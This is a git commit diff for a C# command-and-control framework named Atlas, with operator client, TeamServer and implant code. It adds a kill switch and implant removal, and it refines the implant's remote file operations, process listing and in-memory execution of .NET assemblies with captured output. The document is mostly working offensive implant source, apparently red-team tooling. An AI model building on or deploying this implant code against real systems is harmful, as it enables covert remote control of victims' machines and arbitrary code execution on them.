KillSwitch

This commit is contained in:
Gr1mmie 2022-03-16 22:10:46 -04:00
parent 0620dd96e3
commit 22729f8b8d
36 changed files with 179 additions and 99 deletions

View File

@ -1,6 +1,5 @@
using System;
using System.Collections.Generic;
using System.Net;
namespace Client.Models
{

View File

@ -1,4 +1,5 @@
using System.Text;
using System.Collections.Generic;
using System.Text;
using static Client.Models.Client;
@ -16,10 +17,16 @@ namespace Client.Utils
if (_utils.Count == 0) { Init.UtilInit(); }
if (_opts.Count == 0 ) { Init.OptInit(); }
if (_adminTask.Count == 0) { Init.AdminUtilInit(); }
if (_adminTask.Count == 0) { Init.AdminUtilInit(); }
var listenerUtils = new List<Models.Util>();
var implantUtils = new List<Models.Util>();
var taskUtils = new List<Models.Util>();
_out.AppendLine("\nClient Utils\n____________\n");
foreach (Models.Util cmd in _utils){ _out.AppendLine($"{cmd.UtilName,-25} {cmd.Desc}"); }
foreach (Models.Util cmd in _utils){
_out.AppendLine($"{cmd.UtilName,-25} {cmd.Desc}");
}
_out.AppendLine("\nImplant Tasks\n_____________\n");
foreach (Models.Task cmd in _opts) { _out.AppendLine($"{cmd.TaskName, -25} {cmd.Desc}"); }

View File

@ -12,24 +12,16 @@ namespace Client.Utils
{
StringBuilder _out = new StringBuilder();
var len = nameof(TeamServerAddr).Length + 25;
_out.AppendLine(
"TeamServer:\n" +
$"\t{nameof(TeamServerAddr)} : {TeamServerAddr.Align(len) }\n" +
$"\t{nameof(TeamServerAddr), -15}: {TeamServerAddr}\n" +
"Implant:\n" +
$"\t{nameof(CurrentImplant)} : {CurrentImplant.Align(len)}\n" +
$"\t{nameof(ImplantAddr)} : {ImplantAddr.Align(len)}\n"
$"\t{nameof(CurrentImplant), -15}: {CurrentImplant}\n" +
$"\t{nameof(ImplantAddr), -15}: {ImplantAddr}\n" +
"Tasks:\n" +
$"\t{nameof(TaskName), -15}: {TaskName}\n"
);
if (TaskName is not null)
{
_out.AppendLine(
"Tasks:\n" +
$"\t{nameof(TaskName)} : {TaskName.Align(len)}\n"
);
}
return _out.ToString();
}
}

View File

@ -1,35 +0,0 @@
using System;
using Client.Models;
namespace Client.Utils
{
class SetOpt : Models.Util
{
string OptName { get; set; }
string OptVal { get; set; }
public override string UtilName => "SetOpt";
public override string Desc => "Set an option";
public override string UtilExecute(string[] opts)
{
try
{
if (opts is null) { throw new AtlasException($"[-] No parameters passed\nUsage: SetOpt [optionName] [optionValue]"); }
OptName = opts[1];
OptVal = opts[2];
if (OptName == null) { throw new AtlasException($"[-] Invalid parameters passed\nUsage: SetOpt [optionName] [optionValue]"); }
if (OptVal == null) { throw new AtlasException($"[-] Invalid parameters passed\nUsage: SetOpt [optionName] [optionValue]"); }
return $"{OptName} set to {OptVal}";
} catch (AtlasException e) { return e.Message; }
throw new NotImplementedException();
}
}
}

View File

@ -16,10 +16,10 @@ namespace Client.Utils
{
try
{
if ((TaskName is null)) { throw new AtlasException($"[-] Select a task before attempting to set task options\n"); }
if (opts is null) { throw new AtlasException($"[*] Usage: SetTaskOpt [optionName] [optionValue]\n"); }
if (TaskName is null) { throw new AtlasException($"[-] Select a task before attempting to set task options\n"); }
if (opts is null || opts.Length != 3) { throw new AtlasException($"[*] Usage: SetTaskOpt [optionName] [optionValue]\n"); }
OptName = opts[1];
OptValue = opts[2];

View File

@ -21,7 +21,7 @@ namespace Client.Utils
{
StringBuilder _out = new StringBuilder();
var implants = Comms.comms.SendGET($"{TeamServerAddr}/Implants").TrimStart('[').TrimEnd(']');
string implants = Comms.comms.SendGET($"{TeamServerAddr}/Implants").TrimStart('[').TrimEnd(']');
if (implants.Length == 0) { throw new AtlasException("[*] No active implants\n"); }
_out.AppendLine($"{"ImplantId",-20} {"Hostname",-25} {"Intergity",-20} {"LastSeen",-20}");
@ -33,9 +33,10 @@ namespace Client.Utils
foreach(var _implant in implantList){
ImplantData = JsonConvert.DeserializeObject<JSON.Classes.ImplantData>(_implant);
Models.Client.ImplantList.Add(ImplantData.data.id);
string lastSeen = $"{ImplantData.lastSeen.Split("T")[1].Split(".")[0]} {ImplantData.lastSeen.Split("T")[0]}";
ImplantList.Add(ImplantData.data.id);
_out.AppendLine($"{ImplantData.data.id,-20} {ImplantData.data.hostName, -25} {ImplantData.data.integrity, -20}" +
$" {ImplantData.lastSeen, -20}");
$" {lastSeen, -20} ");
}
ImplantList = ImplantList.Distinct().ToList();
@ -46,5 +47,6 @@ namespace Client.Utils
catch (System.Net.WebException) { return $"[-] Connection to teamserver could not be established, verify teamserver is active\n"; }
}
}
}

View File

@ -0,0 +1,37 @@
using System;
using System.Text;
using System.Linq;
using Client.Models;
using static Client.Models.Client;
namespace Client.Utils
{
public class RemoveImplant : Models.Util
{
public override string UtilName => "RemoveImplant";
public override string Desc => "Remove implant from implant list";
public override string UtilExecute(string[] opts)
{
if (opts is null) { throw new AtlasException($"[-] No parameters passed\nUsage: RemoveImplant [implantName]\n"); }
if (opts.Length > 2) { throw new AtlasException($"[*] Incorrect parameters passed\nUsage: RemoveImplant [implantName]\n"); }
StringBuilder outData = new StringBuilder();
var implantName = opts[1];
var _implant = ImplantList.FirstOrDefault(implant => implant.Equals(implantName));
if (_implant is null) { throw new AtlasException($"[-] Implant {implantName} does not exist"); }
//TaskOps.sendAdminUtil("KillSwitch");
Comms.comms.SendDELETE($"{TeamServerAddr}/Implants/{implantName}");
outData.AppendLine($"[*] Implant {implantName} successfully removed");
return outData.ToString();
}
}
}

View File

@ -2,7 +2,7 @@
using static Client.Models.Client;
namespace Client.Utils.TaskUtils
namespace Client.Utils
{
class Cd : Models.AdminTask
{

View File

@ -2,7 +2,7 @@
using static Client.Models.Client;
namespace Client.Utils.TaskUtils
namespace Client.Utils
{
class Getuid : Models.AdminTask
{

View File

@ -2,7 +2,7 @@
using static Client.Models.Client;
namespace Client.Utils.TaskUtils.AdminUtils
namespace Client.Utils
{
class Ipconfig : Models.AdminTask
{

View File

@ -0,0 +1,20 @@
using System;
namespace Client.Utils
{
internal class KillSwitch : Models.AdminTask
{
public override string TaskName => "KillSwitch";
public override string Desc => "Send shutdown signal to implant";
public override string AdminUtilExec(string[] opts)
{
try {
var resp = TaskOps.sendAdminUtil("KillSwitch");
return "";
} catch (System.Net.WebException) { throw new Exception($"Implant successfully shutdown"); }
}
}
}

View File

@ -2,7 +2,7 @@
using static Client.Models.Client;
namespace Client.Utils.TaskUtils.AdminUtils
namespace Client.Utils
{
class Ls : Models.AdminTask
{

View File

@ -2,7 +2,7 @@
using static Client.Models.Client;
namespace Client.Utils.TaskUtils.AdminUtils
namespace Client.Utils
{
class Mkdir : Models.AdminTask
{

View File

@ -2,7 +2,7 @@
using static Client.Models.Client;
namespace Client.Utils.TaskUtils.AdminUtils
namespace Client.Utils
{
class Mkfile : Models.AdminTask
{

View File

@ -2,7 +2,7 @@
using static Client.Models.Client;
namespace Client.Utils.TaskUtils.AdminUtils
namespace Client.Utils
{
class Ps : Models.AdminTask
{

View File

@ -2,7 +2,7 @@
using static Client.Models.Client;
namespace Client.Utils.TaskUtils.AdminUtils
namespace Client.Utils
{
class Pwd : Models.AdminTask
{

View File

@ -2,7 +2,7 @@
using static Client.Models.Client;
namespace Client.Utils.TaskUtils.AdminUtils
namespace Client.Utils
{
class Rmdir : Models.AdminTask
{

View File

@ -2,7 +2,7 @@
using static Client.Models.Client;
namespace Client.Utils.TaskUtils.AdminUtils
namespace Client.Utils
{
class Rmfile : Models.AdminTask
{

View File

@ -1,7 +1,5 @@
using System.Collections.Generic;
using static Client.Models.TaskOptions;
namespace Client.Utils
{
class AssemQuery : Models.Task

View File

@ -2,7 +2,7 @@
using static Client.Models.TaskOptions;
namespace Client.Utils.TaskUtils
namespace Client.Utils
{
class PSLoad : Models.Task
{

View File

@ -60,7 +60,7 @@ namespace Client.Utils
WriteLine(_out);
} catch (NotImplementedException) { WriteLine($"[-] Util {input} not yet implemented"); }
catch (AtlasException e) { WriteLine(e.Message); }
catch (Exception e) { WriteLine($"{e}"); }
catch (Exception e) { WriteLine($"{e.Message}"); }
}

View File

@ -63,6 +63,7 @@
<Compile Include="Models\Implant\ImplantTaskOut.cs" />
<Compile Include="Program.cs" />
<Compile Include="Properties\AssemblyInfo.cs" />
<Compile Include="Tasks\Execute\Administration\KillSwitch.cs" />
<Compile Include="Tasks\Execute\Administration\Getuid.cs" />
<Compile Include="Tasks\Execute\Administration\Ipconfig.cs" />
<Compile Include="Tasks\Execute\Administration\Ls.cs" />

View File

@ -23,7 +23,7 @@ namespace Implant
var proc = Process.GetCurrentProcess();
_implantData = new ImplantData {
// get DNS hostname
ID = ImplantDataUtils.GenImplantName(), HostName = Environment.MachineName,
User = Environment.UserName, Integrity = ImplantDataUtils.ReturnIntegrity(),
Arch = ImplantDataUtils.ReturnArch(),

View File

@ -1,7 +1,7 @@
using Implant.Models;
using System;
using System;
using System.IO;
using System.Text;
using Implant.Models;
namespace Implant.Tasks.Execute
{
@ -17,6 +17,8 @@ namespace Implant.Tasks.Execute
{
path = task.Args;
var currentDir = Directory.GetCurrentDirectory();
if (path is null || path == ""){
path = Environment.GetFolderPath(Environment.SpecialFolder.UserProfile);
}
@ -27,6 +29,8 @@ namespace Implant.Tasks.Execute
path = string.Join("\\", dirArr);
}
if (Directory.Exists($"{currentDir}\\{path}")) { path = $"{currentDir}\\{path}"; }
Directory.SetCurrentDirectory(path);
return $"[*] Path set to {Directory.GetCurrentDirectory()}\n";

View File

@ -0,0 +1,18 @@
using System;
using Implant.Models;
namespace Implant.Tasks.Execute
{
internal class Exit : ImplantCommands
{
public override string Name => "KillSwitch";
public override string Execute(ImplantTask task)
{
Environment.Exit(0);
return $"Implant Shutdown";
}
}
}

View File

@ -21,6 +21,8 @@ namespace Implant.Tasks.Execute
{
targetPath = task.Args;
var currentPath = Directory.GetCurrentDirectory();
StringBuilder _out = new StringBuilder();
@ -28,6 +30,7 @@ namespace Implant.Tasks.Execute
targetPath = Directory.GetCurrentDirectory();
}
if (Directory.Exists($"{currentPath}\\{targetPath}")) { targetPath = $"{currentPath}\\{targetPath}"; }
var dirs = Directory.GetDirectories(targetPath);
var files = Directory.GetFiles(targetPath);

View File

@ -12,6 +12,9 @@ namespace Implant.Tasks.Execute
public override string Execute(ImplantTask task)
{
dirPath = task.Args;
var currentDir = Directory.GetCurrentDirectory();
if (!(dirPath.Contains(currentDir))) { dirPath = $"{currentDir}\\{task.Args}"; }
Directory.CreateDirectory(dirPath);

View File

@ -12,10 +12,13 @@ namespace Implant.Tasks.Execute
public override string Execute(ImplantTask task)
{
filePath = task.Args;
var currentDir = Directory.GetCurrentDirectory();
File.Create(filePath);
if (!(filePath.Contains(currentDir))) { filePath = $"{currentDir}\\{task.Args}"; }
if(File.Exists(filePath)) { return $"[*] {filePath} created\n"; }
File.Create($"{filePath}");
if(File.Exists($"{filePath}")) { return $"[*] {filePath} created\n"; }
return $"[-] Failed to create {filePath}\n";
}
}

View File

@ -22,6 +22,8 @@ namespace Implant.Tasks.Execute
var procs = Process.GetProcesses();
// if(task.Args != null) { procs = Process.GetProcesses(task.Args); }
procIDLen = psParse.getMaxProcIDLen(procs);
procNameLen = psParse.getMaxProcNameLen(procs) + procIDLen;
procSessionIDLen = psParse.getMaxProcSessionIDLen(procs) + procNameLen;

View File

@ -13,6 +13,10 @@ namespace Implant.Tasks.Execute
public override string Execute(ImplantTask task)
{
targetDir = task.Args;
var currentDir = Directory.GetCurrentDirectory();
if (!(targetDir.Contains(currentDir))) { targetDir = $"{currentDir}\\{task.Args}"; }
DirectoryInfo dirData = new DirectoryInfo(targetDir);
@ -21,7 +25,7 @@ namespace Implant.Tasks.Execute
Directory.Delete(targetDir, true);
if(!(dirData.Exists)) { return $"[*] {targetDir} removed\n"; }
if (!(dirData.Exists)) { return $"[*] {targetDir} removed\n"; }
return $"[-] Failed to remove {targetDir}\n";
}
}

View File

@ -11,10 +11,13 @@ namespace Implant.Tasks.Execute
public override string Execute(ImplantTask task)
{
targetFile = task.Args;
var currentDir = Directory.GetCurrentDirectory();
if (!(targetFile.Contains(currentDir))) { targetFile = $"{currentDir}\\{task.Args}"; }
File.Delete(targetFile);
if(!(File.Exists(targetFile))) { return $"[*] {targetFile} removed\n"; }
if (!(File.Exists(targetFile))) { return $"[*] {targetFile} removed\n"; }
return $"[-] Failed to remove {targetFile}\n";
}
}

View File

@ -1,6 +1,7 @@
using System;
using System.Collections.Generic;
using System.Linq;
using System.IO;
using System.Net;
using System.Reflection;
using System.Text;
@ -25,9 +26,28 @@ namespace Implant.Tasks.Execute
}
public static string ExecuteAssemEP(string assemName, string parameters){
var snapshotOut = Console.Out;
var snapshotErr = Console.Error;
var memStream = new MemoryStream();
var streamWriter = new StreamWriter(memStream) { AutoFlush = true };
Console.SetOut(streamWriter);
Console.SetError(streamWriter);
Assembly assem = GetAssemblyByName(assemName);
var assemOut = assem.EntryPoint.Invoke(null, new object[] { new string[] { parameters } });
return assemOut.ToString();
assem.EntryPoint.Invoke(null, new object[] { new string[] { parameters } });
Console.Out.Flush();
Console.Error.Flush();
var assemOut = Encoding.UTF8.GetString(memStream.ToArray());
Console.SetOut(snapshotOut);
Console.SetError(snapshotErr);
return assemOut;
}
public static string ExecuteAssemMethod(string assemName, string assemType, string assemMethod, string parameters){

View File

@ -37,13 +37,7 @@ namespace Implant.Utils
public static ArgsRecv ParseArgs(string jsonData){
return JsonConvert.DeserializeObject<ArgsRecv>(jsonData);
}
/*
public static ArgsRecv ParseArgs(byte[] jsonData)
{
return JsonConvert.DeserializeObject<ArgsRecv>(jsonData);
}
*/
}
}

View File

@ -57,10 +57,10 @@ namespace TeamServer.Controllers.Implants
[HttpPost("{implantId}")]
public IActionResult TaskImplant(string implantId, [FromBody] ImplantTaskRequest req)
{
var implant = _implants.GetImplant(implantId);
Implant implant = _implants.GetImplant(implantId);
if(implant is null) { return NotFound($"{implantId} not found"); }
var task = new ImplantTask() { Id = Guid.NewGuid().ToString() , Command = req.Command , Args = req.Args, File = req.File};
ImplantTask task = new ImplantTask() { Id = Guid.NewGuid().ToString() , Command = req.Command , Args = req.Args, File = req.File};
implant.TaskQueue(task);
var root = $"{HttpContext.Request.Scheme}://{HttpContext.Request.Host}{HttpContext.Request.Path}";
@ -69,5 +69,14 @@ namespace TeamServer.Controllers.Implants
return Created(path, task);
}
[HttpDelete("{implantId}")]
public IActionResult PurgeImplant(string implantId)
{
Implant implant = _implants.GetImplant(implantId);
if (implant is null) { return NotFound($"{implantId} not found"); }
_implants.PurgeImplant(implant);
return Ok($"{implantId} removed");
}
}
}

View File

@ -33,14 +33,12 @@ namespace TeamServer.Controllers
implant.PollImplant();
//System.Threading.Thread.Sleep(6000);
//System.Threading.Thread.Sleep(Jitter);
if(HttpContext.Request.Method == "POST") {
string respBody;
using (var stream = new StreamReader(HttpContext.Request.Body)) {
respBody = await stream.ReadToEndAsync();
}
using (var stream = new StreamReader(HttpContext.Request.Body)) { respBody = await stream.ReadToEndAsync(); }
var _out = JsonConvert.DeserializeObject<IEnumerable<ImplantTaskOut>>(respBody);
implant.AddTaskOut(_out);

View File

@ -13,11 +13,9 @@ namespace TeamServer.Models
private readonly List<ImplantTaskOut> _taskOut = new();
public Implant(ImplantData data){
Data = data;
}
public Implant(ImplantData data) { Data = data; }
public void PollImplant(){ LastSeen = DateTime.UtcNow; }
public void PollImplant() { LastSeen = DateTime.Now; }
public void TaskQueue(ImplantTask task) { _pendingTasks.Enqueue(task); }